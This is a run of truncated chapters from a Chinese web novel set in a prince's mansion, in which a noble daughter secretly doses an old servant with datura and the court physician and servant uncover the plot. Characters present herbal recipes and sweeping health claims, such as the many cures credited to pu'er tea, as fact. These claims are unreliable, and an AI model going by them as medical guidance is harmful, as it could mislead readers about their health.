原来,这纸簽上竟抄着一个药方,是其父陆贤平日里自己琢磨出来的一方预防治疗自己头痛、头晕、耳鸣、体乏倦怠等诸多老毛病的,好像还颇为有效的样子。 于是,陆天骄便有心地问其亦要了一份,并由陆贤亲笔抄写下来相赠,说是闲暇之余她要拿出来也独自琢磨琢磨,看看能不能改进的比父亲的方子还要更好一些。 找到了药方,将其小心翼翼地踹好在袖中,又将那本诗经归好位,她方才急急出了门又往秦王府后院,一座单独而立的十分静僻的名为“杏林阁”的院落里奔去。 刚到王府后院门口,尚还未见到任何人影闪动,只见杏林阁门前植满了桑树,杜仲,杏树,桃树,酸枣树等等,让人不禁有一种错觉,这不是王府里的药房,而是一座后花园。 然聪明的陆天骄心里深深知道,这些树可都是药材树,它们已经在这里风风雨雨屹立了几十年,却依然都被这位敬业至极的乐太医打理的枝繁叶茂,井井有条,极好。 远远的,她便已嗅到了从院子里面散发出来的阵阵沁人心脾的淡淡药草香味。 赶忙上前两步,站到了杏林阁的拱门口,便一眼看到了院子里一位四旬短须的白衣飘飘医者,正站在院子中央的台子前轻挽起衣袖,独自一人动作娴熟地翻动着晒在竹篾里的各种药草。 院子四周空闲的角角落落里,更是不乏种满了各种即可观赏又实用的药草,像连翘、金银花、鱼腥草、北沙参、薄荷、板蓝根、丹参、麦冬、藿香、党参、紫苏、白术…… 望着这曾经熟悉的一切,仿佛时间又回到了八年以前,太妃尚还在世的时候,她会经常借由想念太妃而央求其父陆贤经常来到王府里做客,对这里就像对自己家一样的熟悉。 可是,自打太妃薨世之后,她便再也没有借口来这里了…… 有些悲伤地沉默了片刻,忽然,陆天骄一脸喜不胜收地对着白衣医者的后背柔声地唤了声“乐太医” 白衣医者闻声缓缓转过身去,陌生地疑惑道“这位姑娘,请问您是…...” “乐太医,我是西秦学院陆贤的女儿,天骄啊。小时 候,经常来杏林阁里找您玩,还把您院子里种的连翘花误当成了迎春花,乐太医难道记不得,认不出天骄了么?”陆天骄说着,便进了门来到白衣医者的身旁甚感亲切地扶住了其胳膊。 “迎春花的花每朵有6枚瓣片,连翘的只有4枚。” ‘’千步连翘不染尘,降香懒画蛾眉春,虔心只把灵仙祝,医回游荡远志人。” 在陆天骄的一再提示下,白衣医者终于被这多年未见,而又突然出现在自己眼前的女子大吃了一惊,道“你...你真是陆兄的女儿,天骄?” 陆天骄笑着用力对其点了点头。 白衣医者忙道“你怎么来了,你好久都没来看老夫了,你父亲他可好?快快快,快请进,进去坐。” 俩人一边久别重逢不甚欢喜地聊着,一边踱步进到了药房内。 “乐太医,天骄乃是受秦王妃之邀,暂留府上作陪数日。今日,是来麻烦您帮天骄照着这个药方抓几副汤药的。”陆天骄一边说着,一边将袖里的药方取出递给了白衣医者。 白衣医者接过,心中有些不解道“这是?……” 陆天骄蹙眉,一脸忧心地解释道“喔,方才天骄在林月轩那边见到了一个侍奉殿下哥哥的老嬷嬷,她似乎精神不好。后来仔细一想,她应该就是当年服侍在太妃身边,甚是严苛的张嬷嬷吧。天骄见她症状似乎仿佛与家父相同,便想家父用的这个方子应该会对她的病情有所帮助。如今,殿下哥哥昏迷不醒着,全得依赖张嬷嬷的细心照料,若是她病倒了,那可该怎样是好呢?” 白衣医者一边仔细查看着手里的药方,一边叹着气捋着那嘬短须无奈地道“张嬷嬷的病情老夫略有所知,也曾千叮咛万嘱咐要经常过来做针灸,若再这样下去,一定会出大事的。可她就是放不下心,为了殿下一直亲力亲为操持管理着这府里的下人,闲不住,更不愿静养。在王府里呆了一辈子了,脾气永远都这么固执,执着,没办法。” 俩人沉默了半晌后,白衣医者似是已琢磨出了结果,忽然开口道“银花、菊花、山楂、海带、昆布、绿豆、莲叶、苡米、玉米须、莱菔子、泽舍、茯苓、丹参、田七,八碗水煎取二碗,早晚各服一碗,亦可经常当茶饮用...这个方子倒是真没有在哪儿见过,药性见着都是对的,只是没有验证过,只怕是……” 陆天骄连忙开口将其顾虑打消,说道“哦,乐太医尽管放心,这方子是家父专为自己的病情琢磨所制,家父已经在家连续服用了大半年了,效果极好。以前哥哥若是在外面干了什么混事儿回到家里,父亲一顿训斥还未完便就已经头晕眼花了。可如今啊,就算是让他拿着家法追遍半个学院,都不在 话下呢!再说了,这个方子只是用来预防和阻止病灶继续扩大的,无碍的。” 白衣医者听闻后 第二百零九章:许久未见,永不原谅 陆天骄独自默默地站在拱门口向内张望端详打量了许久,终于端起一脸的笑容来开口轻唤了一声道“张嬷嬷。” 张嬷嬷闻声,猛的抬起头来朝门口一看,顿时便望着来人怔住了。 而此时,一旁正背对着拱门,趴在院子中央的一口大水瓮边上,手里捏着一根睡莲枯枝,挑逗着水中的几条活蹦乱跳的红鲤鱼,正与其饶有兴致地玩耍嬉戏在一起的小灵儿,倒是眼疾手快地迅速转过身去先开了口,瞪大了那双乌亮乌亮的大眼睛,欣喜地奶声奶气道“是你啊!姐姐,你怎么来了?” “姐姐过来看看可爱的小灵儿啊,可以吗?”陆天骄一边含笑说着,一边便迈步进到了院子里来,顿足对着与她打招呼的小女孩抿起嘴笑了笑,顺势摸了摸灵儿的小脑袋,女孩亦天真无邪地望着她乐的咯咯直笑。 紧接着,陆天骄将一只纤细白嫩的玉手搭在灵儿的肩头,揽起她一起向着角落里的两位老人身边踱步过去。 “张嬷嬷,许久未见,嬷嬷一切可好。我是西秦学院陆贤的女儿,天骄。小时候,经常来王府里探望陪伴太妃娘娘的,嬷嬷可还记得呢?……天骄此次是专程登门前来道歉的,早上因得知了殿下重病不醒,天骄一时情急,关心则乱,便对小灵儿有些失态,若是吓到了灵儿,还望灵儿原谅姐姐。”陆天骄故作诚恳,一脸歉然道。 灵儿毕竟还是个什么都不懂的幼稚孩童,闻此脱口便出“姐姐不必担心,灵儿没事。灵儿知道姐姐也是一片好意,担心秦王殿下。姐姐…你…是不是也喜欢秦王殿下啊?” 众人皆都始料未及,没想到灵儿竟会忽然说出这样的话来。 一时间,俩位老人都被小女孩的话和眼前这女子白皙的脸庞上顿时浮出的一抹绯红色,无言以对,此地无银三百两不打自招的回应惊呆了,不禁面面相觑起来。 顿时间,一院寂静,鸦雀无声。 许久后,张嬷嬷依旧一脸冷冰冰的严肃模样,只顾穿针引线继续忙碌着自己手里的针线活,对于忽然出现在自己眼前的这位温婉端庄大方的女子,俨然一副视而不见,甚至似乎还有那么一些仇视的态度。 此刻,陆天骄心想,果然如乐太医所言,这张嬷嬷的脾性还真是一点儿都没变,还是一如既往的犹如“粪坑里的石头,又臭又硬”。 她一个堂堂书香门第的名门千金大小姐,今日如此低声下气地亲自登门来对她一个下人谢罪,竟是拿她这张尊贵无比的热脸去贴人家的冷屁股,真是屈辱至极。 看这个老东西的架势,想着接下来的事情也定不会顺利,幸好…… 就在其正面色尽显尴尬,陷入自己的沉思之际,灵儿奶奶悄悄地窥了眼张嬷嬷 脸上的不悦表情,便猛一下抬手出去一把将灵儿拉入到自己怀中,将灵儿那双红通通的小肥手紧紧握在她的大手里,一边对其哈着气一边用力地揉搓起来,对灵儿呵斥道“你看你这个小祖宗,这天儿还这么凉呢,怎么尽就知道玩水。赶明儿个,我就让程将军把那几条红鲤鱼带走,再也不给你养了,也不知道冷。快快快,把手用力搓搓,要是不小心生了冻疮,今后可有你一辈子的好受呢!” 显然很生气,亦很不自在,陆天骄此时却也不得不为了达到自己的终极目的,继续强颜欢笑地移动目光,放眼过去与张嬷嬷身旁的另一位老人套起近乎来。她自是不能放弃任何一个,哪怕是再渺茫的机会。 陆天骄含笑着过去道“这位应该就是灵儿奶奶吧,天骄经常听灵儿提起。” 陆天骄说着,便将自己随身带来,精心准备的神秘大食盒放在了众人面前的石桌上。 盖子被掀开,顿时散发出一股诱人的沁人心脾香气,弥漫了整个院子。 小女孩刚惊声出一句“好香啊!”,便被奶奶一把堵了其圆嘟嘟的小嘴,陆天骄轻抿起那片红唇对其笑了笑,取出食盒上层的那两包点心,将其拆开摊在石桌上,一脸欣喜地介绍道“这是我给灵儿带的两样点心:这个是用黑芝麻粉和马蹄粉蒸制出的营养丰富的芝麻糕。还有用杏仁、桃仁、橄榄仁、芝麻仁和瓜子仁制成的宫廷五仁饼,灵儿快尝尝。” 说着,陆天骄便伸手从中捏了一块儿馅料极其丰富的五仁饼,欲将其递到灵儿的小手中。 不想,眼看着刚得手两手接过的好吃的即将入口,谁知忽然“啪”的一声,灵儿奶奶竟一把重重地拍在了灵儿的那只小手上,灵儿顿时失望又委屈地哇哇大哭了起来“呜…呜…呜……” 陆天骄见此,终于再也难以强忍其心间的窝火,瞬间卸去一脸欢颜,变作紧锁眉头,正忿忿不平地欲发声出来对其质问,却见张嬷嬷“吧嗒”一声,用力甩下了手里的针线活,继而猛然站起身来,径自朝门外走了去。 见此,陆天骄回头狠狠地瞪了灵儿婆婆一眼,赶忙盖上食盒盖子,一拎起来便慌忙地追逐着张嬷嬷的背影狂奔而去。 “张嬷嬷,张嬷嬷…”一个娇滴滴,两手更是打出生之日起便从未曾沾过阳春之水的大小姐, 第二百一十章:万般皆是命,半点不由人 无论是“小心驶得万年船”也好,“一朝被蛇咬十年怕草绳”也罢。 陆天骄忿忿离去后,张嬷嬷站在原地里几经思索,终究还是将信将疑地缓缓拎起她方才留下的那个乌木食盒,疾步朝着杏林阁方向而去。 一迈步进入幽静的杏林阁里,便大声嚷嚷起来,唤道“乐太医,乐太医你出来……” “在这儿呢,在这儿呢……”只片刻,便有一阵似是有些不耐烦的男子声音隐隐约约传了出来。 张嬷嬷驻足在院子里,仔细寻声而去,一抬头,原来这已年过四旬的乐太医,竟不知何时爬到了屋檐上,一片被树木遮盖住的地方,不知在捣腾什么长在瓦片上的像似是野草野花一样的东西。 张嬷嬷一见,顿觉心惊肉跳、头晕眼花、似是都不能呼吸了一般,忙抚着胸口道“哎呦妈呀,你这个糟老头子这会儿又发现什么宝贝了呀?这都年纪一大把了还把自己当小伙儿呢,爬那么高做什么?这府里面到处尽是壮丁,随便使唤一个不就成了么?这万一要是摔下来了,那可如何是好啊?哎呦,哎呦,你快下来吧,真是吓死我老婆子了……” 然乐太医却依然一副不管不顾地独自津津乐道“我说张嬷嬷啊,这你就不懂了吧。你可别小瞧了这些顽强生长在屋顶瓦缝中,外表酷似松树的小东西哦,它叫瓦松,耐旱又耐寒。它不但极具观赏价值,也有极高的药用价值。以它入药不仅可以清热解毒、止血敛疮,还具有利湿,消肿的功效。对湿疹、疔疮、痢疾、痔疮、肝病等都有很好的疗效呢。” “得了得了,老婆子知道在你乐太医的眼里,世间万物皆可治病救人。不过,我说你还是赶紧下来吧,老婆子我看着你就头晕。哎呦,不行了,不行了,不行了……”张嬷嬷一边说着,一边轻扶着脑袋便“扑通”一声,重重地坐了下来在院子里的石桌边上,单手支着额头,似是无力地开始喘息起来。 乐太医小心翼翼地趴在屋檐上兀自仔细端详着,闻声眼睛不禁朝下一撇,见其此时神情已然露出些许异样,这才沿着木梯缓缓爬了下来。 近身到其身旁后,一脸焦急地忙提起石桌上的大腹陶壶,帮其倒出一碗茶色通透油亮,清澈厚重,令人赏心悦目的普洱茶汤来,递了上去关切道“老毛病又犯了吧,让你不听劝。你张嬷嬷是这个王府里亦是老夫平生所见过的最不听话,最固执的病人,教我怎么说你呢?来,先莫要气恼,尝尝老夫这碗普洱茶的滋味,它可以降低血脂、减肥、抑菌助消化、暖胃、生津、止渴、醒酒解毒等多种功效。可清胃生津、消食化痰、解酒解毒、利尿散寒,止咳化痰、降低血脂胆固醇等等,简直大有益处啊。” 张嬷嬷此时确实有些心惊胆颤不已,一接过茶碗来,便赶忙入了一口压了压惊,根本无心品茗,继而只深叹了口气,幽幽苦道“唉,你这个老东西又懂什么?这若是太妃娘娘尚还在世的话,老婆子我就不至于这么辛苦,操这么多闲心了!你也看到了,咱们那少主人对王府上下的这些诸多琐碎之事,从不过问更不关心。本来,好歹好不容易盼着有个王妃进来,可他又偏把人家整日整夜地晾在一边,若无其人。那身份尊贵的东宁公主千里迢迢来与我西秦和亲,在王府里却落了个有名无实的结果,看着…也着实可怜,怪让人心疼的。自从大婚后,整日便被殿下像是软禁了一般关在韶华阁里,府里的这些事,更是根本就插不上手。尔今,若我也放手不管或是怠慢了,那这偌大的一个王府,不就彻底乱套了么?如此,我老婆子又怎么跟那已故去的太妃娘娘交待呢?况且殿下现在……唉” 说着说着,忽然想起病榻上的轩辕翰,张嬷嬷又是重重地叹了口气。 乐太医一边听着张嬷嬷的诉说,一边默默的坐了下来在其身旁,亦同样黯然沉默下来了许久之后,似是无可奈何地也对着手里的茶汤完全无了用心品茗,啜饮入口的风雅兴趣,直接将手里的整碗茶仰起头来一饮而尽。 半晌后,方才回过神来再次开口对其劝慰道“话虽如此,你也应先保重自己才是啊。想必殿下自己的事,心里是有数的。可你这老毛病,如若不好好重视的话,后果真的很严重,老夫可一点儿也没和你开玩笑。若真到了那个时候,就别说是照顾殿下了,就连你自己的衣食住行都需要别人来照顾呢,如此你这岂不反倒成了殿下的拖累了么?” 这时,张嬷嬷方才将目光缓缓移到自己方才带来,放在石桌上的乌木食盒上。继而伸出手将其推到乐太医的面前,眉头紧缩,表情似是有些凝重地问道“你看看,这里面的是不是陆贤家那丫头到你这儿来让你抓的药?” 乐太医听了,忙伸出手一把掀开来食盒的盖子,取出其中的一副药来,甚感似曾相识。继而将其迅速拆 第二百一十一章:识破 眼看着张嬷嬷一手拎着乌木食盒,步履蹒跚着就快要向着她的方向夺门而出,自己即将被暴露,陆天骄当即一双明眸朝着四周迅速一扫,紧接着瘦小的身躯几乎同时灵活一闪,便安全地藏身到了拱门旁树林角落里的小假山后。 待目送其已完全确定远远地走出了自己的视线,方才再次缓缓现身出来到拱门前,望着其远去的背影,露出一抹极具狡黠且又得意的窃笑来,口中低声喃喃道“哼,就凭你这把老骨头,还想与本小姐斗,这辈子你都不够格。除非,今生早点下地狱去,重新投个好胎,下世里不要再为奴为婢。兴许十八年后,或许还能站在本小姐的面前。不过,到时候还要能高的过本小姐的手段才行。如此看来,八年前,本小姐竟真是下手太轻了。不过没关系,来日方长,我们抬头不见…低头见。” 话一说完,陆天骄深深吐了口浊气,转身便又端起另一幅温婉纯善来踏进了杏林阁的大门。 一进门,却刚好看到正忙着整理收拾石桌上的茶碗的乐太医,他忽然皱眉拿起张嬷嬷方才服用药汤的碗来,似是一边仔细端详疑惑着些什么,一边靠近鼻翼间闻了闻。 陆天骄自是心里有鬼,一直不放心着,怕被人发现她在张嬷嬷的药汤里做了见不得人的手脚,所以自从将那罐药汤送出去以后,根本一直都未离开过张嬷嬷的身边,一路紧随其后,直到亲眼看着她将此药服下,方才安心。 不过,她自知就凭她的那点小伎俩,定是瞒不过已年过四旬的乐太医双眼。 此时,一见乐太医的这番举动,陆天骄心中顿觉惊慌失措,赶忙疾步上前去伸手帮忙,莞尔笑道“乐伯伯,您在忙什么呢?天骄帮您吧。” 乐太医本就心有所思着,显然此时被这忽然再次出现在他面前的温婉女子着实惊了一跳,继而神色有些慌张地忙放下手里的茶碗,婉言推辞道“哎呦,这可怎么使得呢。你可是陆兄的掌上明珠啊,生来就是十指不沾阳春水的大家闺秀,锦衣玉食伺候的千金小姐。老夫怎么能舍得让你做这种粗活呢。还是老夫自己来吧,你坐着就好,坐着就好。” 乐太医一边说着,一边埋头始终未停下手里的动作半分,然不想陆天骄却比他更加手脚麻利,似是都有些接近于抢一般地一把夺过他手里的茶具,含笑道“乐伯伯,没关系的,您不要客气。其实,天骄在家里也不总是衣来伸手饭来张口的,偶尔也会自己找些事儿来做。清晰茶具这点小事儿,天骄还是做得了的。您也忙了快一整天了,坐这好好歇歇吧。” 陆天骄一边说着,便摞起石桌上被摊开来的那三只刚刚用过的茶碗,将其小心翼翼地捧在手里急急跑进了屋去。 乐太医看着她疾步离去的背影一脸狐疑,接着又回头看了看石桌上的茶盘里,还单落着一只未曾用过的茶碗和那把泡茶的大腹陶壶,似是若有所思道“如此,那老夫就托小姐的福,今儿个偷个懒了。” 乐太医一边心不在焉地兀自说着,一边想起了张嬷嬷方才跟他所讲的话,不禁心里忽然涌上了一股莫名的恐惧感来。 就在他尚还沉浸在自己的一片深思之际,陆天骄便已手脚麻利地将三只茶碗清洗好又重新送了出来,面色依旧天真纯善,姣好平静中尚且还带着些笑容,道“乐伯伯,茶碗天骄已经帮您洗好了,若是没有其它事的话,天骄这就告辞了。天色也不早了,王妃娘娘出门前还特意交待了天骄一些其它事要忙。” “哦,你忙你的,无妨无妨,有空便常过来玩。”乐太医闻声,这才忙醒过神来道。 “那…天骄这就告辞了,有空天骄还会过来看您的。乐伯伯,保重!”话一说完,陆天骄方才一脸安心地径自踱着稳稳的步伐,端庄出门离去。 寂静的杏林阁里,忽然似是连周围所有的空气亦都一时间里跟着凝固了起来,瞬间让人几乎要窒息,不得半点呼吸。 乐太医独自坐在石桌边,凝视着陆天骄刚刚从屋里捧出来放在石桌上的那三只尚还叠摞在一起,里里外外都沾满了湿哒哒的水珠的陶瓷茶碗,沉沉地发起呆来……【……*&免费阅读】 “哦,哦,睡觉觉,猫娃钻了一被窝…哦,哦,睡觉觉,猫娃钻了一被窝……”秦王府后院,灵儿婆孙俩独居的小院落里,灵儿奶奶正怀抱着小灵儿在院子中间的水瓮旁边,一边轻拍着其后背对其哼唱着灵儿最喜欢的童谣,一边脚下来来回回地围绕着水瓮缓缓踱着碎步。 怀中的小灵儿胖嘟嘟的小脸庞上已然挂满了泪痕,似是极委屈地睡着了去。 地上方才被她一把打落掉的早已支离破碎的点心,亦还历历在目。 此时,灵儿奶奶正望着小灵儿的脸庞,一脸心疼着。 忽然,张嬷嬷捧着一托盘,里面放着罐药汤 第二百一十二章:任人唯亲悔断肠 待张嬷嬷再次站稳了身子,便赶忙端起拖盘来踱步朝着林月轩方向而去。 而此时,乐太医正一脸愁容不展地将眉头紧紧锁起,手里牢牢地握着一碗他刚刚用防风和桂枝等煎成的尚还冒着腾腾热气的解毒药汤,焦急不安地站在从后院通往林月轩的必经之路,杏林阁的拱门口前一边来回不停地踱步着,一边自言自语地感叹自责道“乐松啊乐松,想当年先帝在世时,枉你还被宫中太医院各位同僚视作神医般的人物。如今,你可真是聪明一世,糊涂一时啊。这次张嬷嬷要是有个什么闪失的话,你是必定难逃助纣为虐之责,万死难辞其咎!” 说完后叹了口气,稍作停顿,又满腹难以置信道“天骄啊天骄,你说你一个好端端的堂堂名门闺秀,为何要对一个手无缚鸡之力,往日里亦与你无冤无仇的老婆子行如此歹毒龌龊之举呢?如今,你怎会变成今天这个样子,这要是让陆兄知道了,他那一世温厚忠良的严苛门风,又该情何以堪呢?” 其实,在乐太医的心里,他不是不知道陆天骄这些年来,虽然没有八年前太妃尚还在世的时候来秦王府里那么频繁,可也是每过一两年便如约而至王府一次,从未间断过联系。 然这八年来,陆天骄却一直都没有再来过他的杏林阁。然就在今日里,她却忽然前后一连两次登门造访。尤其是第二次,她恍若幽灵一般地似是从天而降,着实吓到了他。 因为那个时候,他正无意中惊诧地发现了张嬷嬷在他这儿用过的两个茶碗之中,其中用来服药的那个茶碗里似乎有曼陀罗的残迹。 而就在他因此而沉思之际,陆天骄却猛然一踏进门来便如同抢夺一般将那只非常蹊跷的茶碗从他的手里执意抢了过去,并相当快速地还将其彻底毁尸灭迹,清洗地干干净净。 陆天骄亲口对他说,自己也偶尔会在家中做些家务琐事,然谁家在清洗茶具的时候,独独只清洗用过的几只茶具且不擦拭干净了,而不是将整套都要拿去洗净拭干了,再重新整齐地摆放回原位,待下次再用呢? 很明显,陆天骄一定是心里有鬼。 他早就听闻杏林阁里来来往往的侍卫和仆人们闲言碎语,说西秦学院的大小姐陆天骄除夕不在自己府上过节,反而于除夕前夕来到了秦王府。然迟迟待到今日,明日都将是元宵佳节了,转眼到秦王府已半月有余了,方才忽然来到杏林阁里探望他。这里面,一定是有什么阴谋。 于是,他很快便又联想到了自己在替其抓药的中途,曾经出门过一段时间,去林月轩里看了昏迷中的轩辕翰片刻。 想着,陆天骄八成一定是乘着这个时机在他的药柜里,偷偷地拿到了曼陀罗。又因急着 让张嬷嬷将药服下,便假装好心地帮张嬷嬷煎好了一罐。 不想张嬷嬷却对她一直存有戒心,又许是无奈,也是病急乱投医,她亦欲想拿来试试,便将药拿来杏林阁里给他查验确认。 而他却一时任人唯亲,疏忽大意,只检查了食盒里未煎的药,因他也曾与陆贤交好,深知其为人,出身成长于如此严苛的门风之下,却不想为何陆天骄会成为今天这般模样,与昔日里曾经那个聪明伶俐又乖巧温婉的小女孩简直天壤之别,判若两人。 任人唯亲悔断肠,此时,乐太医的心突然间感觉寒透了,不仅是为自己,为已故的太妃,更是为他的老友陆贤而寒心至极。 人人都道“养儿防老,养儿防老”可在此时,他眼前的这份人间至寒里,他看到的却是满满的恐惧、后怕、失望、错爱、不值…… 想着这一切,乐太医不住地连连叹息着,又一次黯然失神地抬起头来眺望了一眼前方的路,却只见到周围一片已愈来愈暗的天色将自己紧紧包裹住,而他一直翘首期盼着的那个人却迟迟都没有出现。 “莫非…该不会是……”忽然,他的心头浮起一抹极不好的预感。于是,赶忙回头疾步过去将大门紧锁,有了这次教训,他定是再也不能让任何人单独留在这个院子里。随后,端着那碗汤药大步流星地朝着后院方向奔去。 出门拐角不远处,张嬷嬷正一边朝着林月轩方向晃晃悠悠地踱步走着,一边只觉眼前忽明忽暗,身子倦怠似是想要昏昏欲睡的样子。 不禁心里暗自琢磨起来,今儿个这到底是怎么了,究竟是她的老毛病又加重了呢,还是那碗汤药的效果,怎么忽然间就觉得这么困呢。 在杏林阁里,乐太医亦因此方是陆贤亲自所为,说的头头是道。所以,在其亲自为她验了药后服下了一碗,回到自己房内,想着陆天骄对自己曾说这药也可以当作茶饮,她亦是自己心急想要早点好起来,即是陆贤亲自试过的方子,自是无疑的,便又多喝了几碗。 可不想怎么这药喝了还有让人想要昏睡的作用呢,莫非这药方本就是强制让人休息,这病便能得好? 正独自思量琢磨之际,一抬头忽然看到似是乐太医正迎面而来,张嬷嬷便昏昏沉沉地打趣他道“我说乐太医啊,这天都快要黑了,你这个糟老头子这是又打从哪里厮混酒喝刚回来啊。你跑到后院来干嘛,这儿可不是你一个堂堂太医能来的地儿啊。瞧你这酒喝的,怎么还把酒碗捧在手里边走边喝起来了?你可千万别喝过了头呀,若是因此而给人家抓错了药,疑惑诊错了病,主子照样砍你 第二百一十三章:欲擒故纵 张嬷嬷及时服下乐太医赶送过来的解毒药汤,稍作歇息后已然大好,俩人仔细商议计划好了一切,便各自开始分头行动。 乐太医一起身来并没有马上回去杏林阁里,为掩人耳目,不被陆天骄心生怀疑,他故意绕道向着秦王府大门方向踱步而去。 而张嬷嬷却一手端着药汤,一手抚着胸口,故作似是难以喘息颇为不适地沿着原路继续往林月轩方向前去。 此时,张嬷嬷的心里愈来愈加肯定,八年前城隍庙里的那场大火,太妃的死,一定不是一场如此简单的意外,其中必定大有文章,且与这西秦学院大小姐定是脱不了干系。 今夜,她便要将当年所发生的一切不为人知的隐情全部揭露出来。 只可惜,太妃遗留于世的唯一骨血,这王府唯一的主子至今都昏迷不醒着,看不到当年所发生的那场惨绝人寰的灾难,其真相今夜终得以水落石出的一刻。 想着想着,张嬷嬷不禁心绪激动地热泪盈眶起来…… 就在这时,早早便已精心装扮好,隐身在林月轩一暗处焦急等待着的陆天骄,一看到张嬷嬷的身影出现在其视线里,便疾步奔上前去扶住其一只胳膊,故作一脸忧心又亲切地关怀道“张嬷嬷,您这是怎么了,是哪里不舒服吗?” 张嬷嬷眼疾手快地忙一把拭去了眼角的泪水,低着头一边继续走,一边故作呼吸沉重地道“唉…这可真是‘岁月不饶人’啊,看来我老婆子是真的老了,不中用了。这从后院过来才走了这几步,尚还没到林月轩寝殿呢,便已经似是心都快要跳出来了一般喘不上气来了。这头不但痛还晕地很,似是浑身还在发热一般,身上觉得乏极了,整个人像是要背过气了一般。” 陆天骄心里当然知道,此时张嬷嬷所描述的是多么典型的中了曼陀罗之毒的症状啊,于是在心里暗自窃喜着,惊讶道“啊,这是怎么回事呢,怎么这么严重啊?” “哎,许是这把老骨头到了时辰了呢?死了也好,这样我老婆子就可以下去继续服侍太妃娘娘了。”张嬷嬷故意说着,窃窃地窥了一眼陆天骄脸上的表情。 陆天骄陡然闻之,双眼果然闪过了一抹惊愣,虽只是极其短暂的一瞬间,然张嬷嬷却将她那眼里的一丝迟疑和恐惧看的真真切切。若不是心中有鬼,一般常人听了这话,绝不会是这种眼神。 “张嬷嬷尽是胡说呢,要不…天骄陪您去杏林阁里给乐太医瞧瞧吧?”不得不说,陆天骄果然有胆识,这个时候竟还敢说出这样的话来。又或许,是张嬷嬷佯装的太像了吧,陆天骄竟当真以为她已中毒如此之深了,自是等不到踏进杏林阁的大门,便要晕厥过去。殊不知,这是乐太医事先早已经跟张嬷 嬷交待好了的要佯装出来的症状和言辞。 张嬷嬷闻言,却是真的愣住了。陆天骄岂会不知,乐太医不被传唤之时,一向只独身呆在那个院子里研究医术,大门不出二门不迈。如若这个时辰回去,乐太医一定不在杏林阁里,且亦不在林月轩里,那她必然心里生疑。思及此,赵嬷嬷看了看手中的药汤,道“我老婆子贱命一条,岂敢劳烦乐大太医。再说了,蒙陆大小姐垂怜,不是赏了老婆子一方神药嘛,老婆子真是感恩戴德了。” 陆天骄笑了笑,道“张嬷嬷真是太客气了,希望对您的病症能有所帮助才好。” 说话间,俩人已来到了林月轩门前,张嬷嬷忽然止步抬起一手按住额头,脚下踉踉跄跄着似是欲倾倒下去,陆天骄忙上前扶住其身,张嬷嬷无力地喘气,断断续续道“看来…看来…殿下的这碗药汤,老婆子我是没力气侍奉了……”【!!*!最快更新】 “那怎么办?殿下的病情危在旦夕,是断不能停药的啊。”陆天骄问。 “是…殿下的药不能停…看来…只能有劳陆小姐了…你去。”张嬷嬷倚在陆天骄的肩头道。 “我去?可是…这林月轩的侍卫是决不允许旁人跨入半步的啊。”陆天骄一脸无助道。 “走,老婆子我亲自带你进去,他们决不敢阻拦。进去后,我在配殿里歇一会儿,你来照顾殿下。”张嬷嬷话音刚落,似是心一横,一咬牙便跌跌撞撞地往林月轩迈步了去。 陆天骄一手捧着药汤,一脸窃喜地紧随其后追了上去,忙扶住其胳膊。 “张嬷嬷,程将军下令,除了您和乐太医,任何人都不得进去林月轩里。”岂料二人刚上了林月轩的台阶,便被侍卫伸手拦住。 张嬷嬷开口解释道“我老婆子这会子身体极为不适,这位陆小姐是殿下西秦学院的小师妹,也算不得外人,让她陪我一起进去给殿下服药吧。殿下病得很重,可千万不能耽搁了服药的时辰啊。” “可程将军的军令如山,小的真的不敢让除了您二人以外的旁人进去啊。要不…您……” 侍卫正欲继续往 第二百一十四章:燕栖阁的俩婢女 夜幕之下,到处一片静悄悄的城东秦王府里。 程良与乐太医俩人同坐在僻静的杏林阁院里的石桌边四目相对,眉头紧锁着似是屏住呼吸怔了许久,虽未言明,却各自心中揣着不约而同的疑虑和恐惧。身边到处弥漫着阵阵的淡淡药草香味,似是将俩人身边的一切都凝固住了一般。 半晌后,程良忽然开口道“罢了,无论最终结果如何,既然张嬷嬷如此执着于当年的那场大火绝非意外,且看那陆小姐近年来确实是愈来愈行事诡异且变化莫测,尤其是在殿下大婚后更是满腹心事重重让人难以琢磨。今日又被你二人在其心里事先铺垫了许多。想必,今夜倒也果真不失为一个查明真相的好时机,那就…不妨把当年的事实真相先弄清楚了也好。至少,也算是了了张嬷嬷多年以来的心结……” 未及程良将话讲完,乐太医以为其已同意了他二人今日此举,顿时脸上露出一脸的欣喜来。不想程良又接着补充道“不过,今夜我们只能让她说出事实的真相来。若是…若是那事真与她脱不了干系,至于究竟该如何处置她,必须等殿下清醒之后,只有殿下方才能定夺。毕竟,她是陆贤眼中多年以来的骄傲……” “唉……”闻此,乐太医缓缓放眼望向了石桌上那个混入了曼陀罗的药罐,发出长长的一声叹息来。 “如此,那就依照你二人之前已经商量好的计策,赶快找人开始部署行动吧,天色也已经不早了。”程良一边说,一边看见杏林阁外侍卫们已经渐渐开始掌灯了,便拖着似是疲惫极了的身子缓缓起身来。 正欲转身夺门离去,身后依旧愣坐着的乐太医忽然回过神来,忙立起身道“将军,还有一事需要请将军帮忙。” 转身后的程良,此时心里似是很期待今夜的真相,又怕知道这真相一般,毕竟那是对他的主子忠心耿耿,而他的主子亦是对其相当依赖的陆贤的女儿。如今,张嬷嬷如此肯定,这万一要是真如她所料,那……程良几乎都不敢再往下面想去。于是,他并未转身过去,只是顿足寥寥两字问道“何事?” “正所谓‘捉贼捉赃,捉奸捉双’,为保万无一失,让那丫头毫无矢口否认的机会,老夫还需要劳烦将军到陆小姐的住处搜出那些药渣来,还有…人证,如此便算是铁证如山了。”事已至此,乐太医似是也已顾不得那么多了,纵使心里再多不忍,也只能全心尽力地配合张嬷嬷将此事查个水落石出。毕竟,依照现在看来,恐怕这件事所牵连的真正幕后,看似越来越复杂了。 “好。”程良闻之,深深地吸了口气,继而留下只不过一字,便跨过门槛大步离去。 陆天骄在秦王府的住处,是梅汐媛特意帮 其向轩辕翰争取来的一处名唤“燕栖阁”的院落。毕竟,她是陆贤的女儿,轩辕翰自是也不会薄待了她。 以前太妃在世的时候,陆天骄每每来到府里,总是随其一道住在太妃的紫和轩里,形同母女一般。可如今,太妃已然离世多年,其院子虽然每日照旧打理清扫,处处整洁如新,却一直便被空着了。 燕栖阁原本是王府里专门用来供贵客落脚,居住的一极宽敞和雅致的院落,里面亭台水榭,外带独立的小花园,应有具有。入住其内,给人感觉完全似是宾至如归一般。【!¥!¥更好更新更快】 因为距离杏林阁极近,所以十分僻静。 又距离轩辕翰的林月轩和梅汐媛的韶华阁那个院子,其间也不过只隔了两道墙的阻隔,同样十分方便。 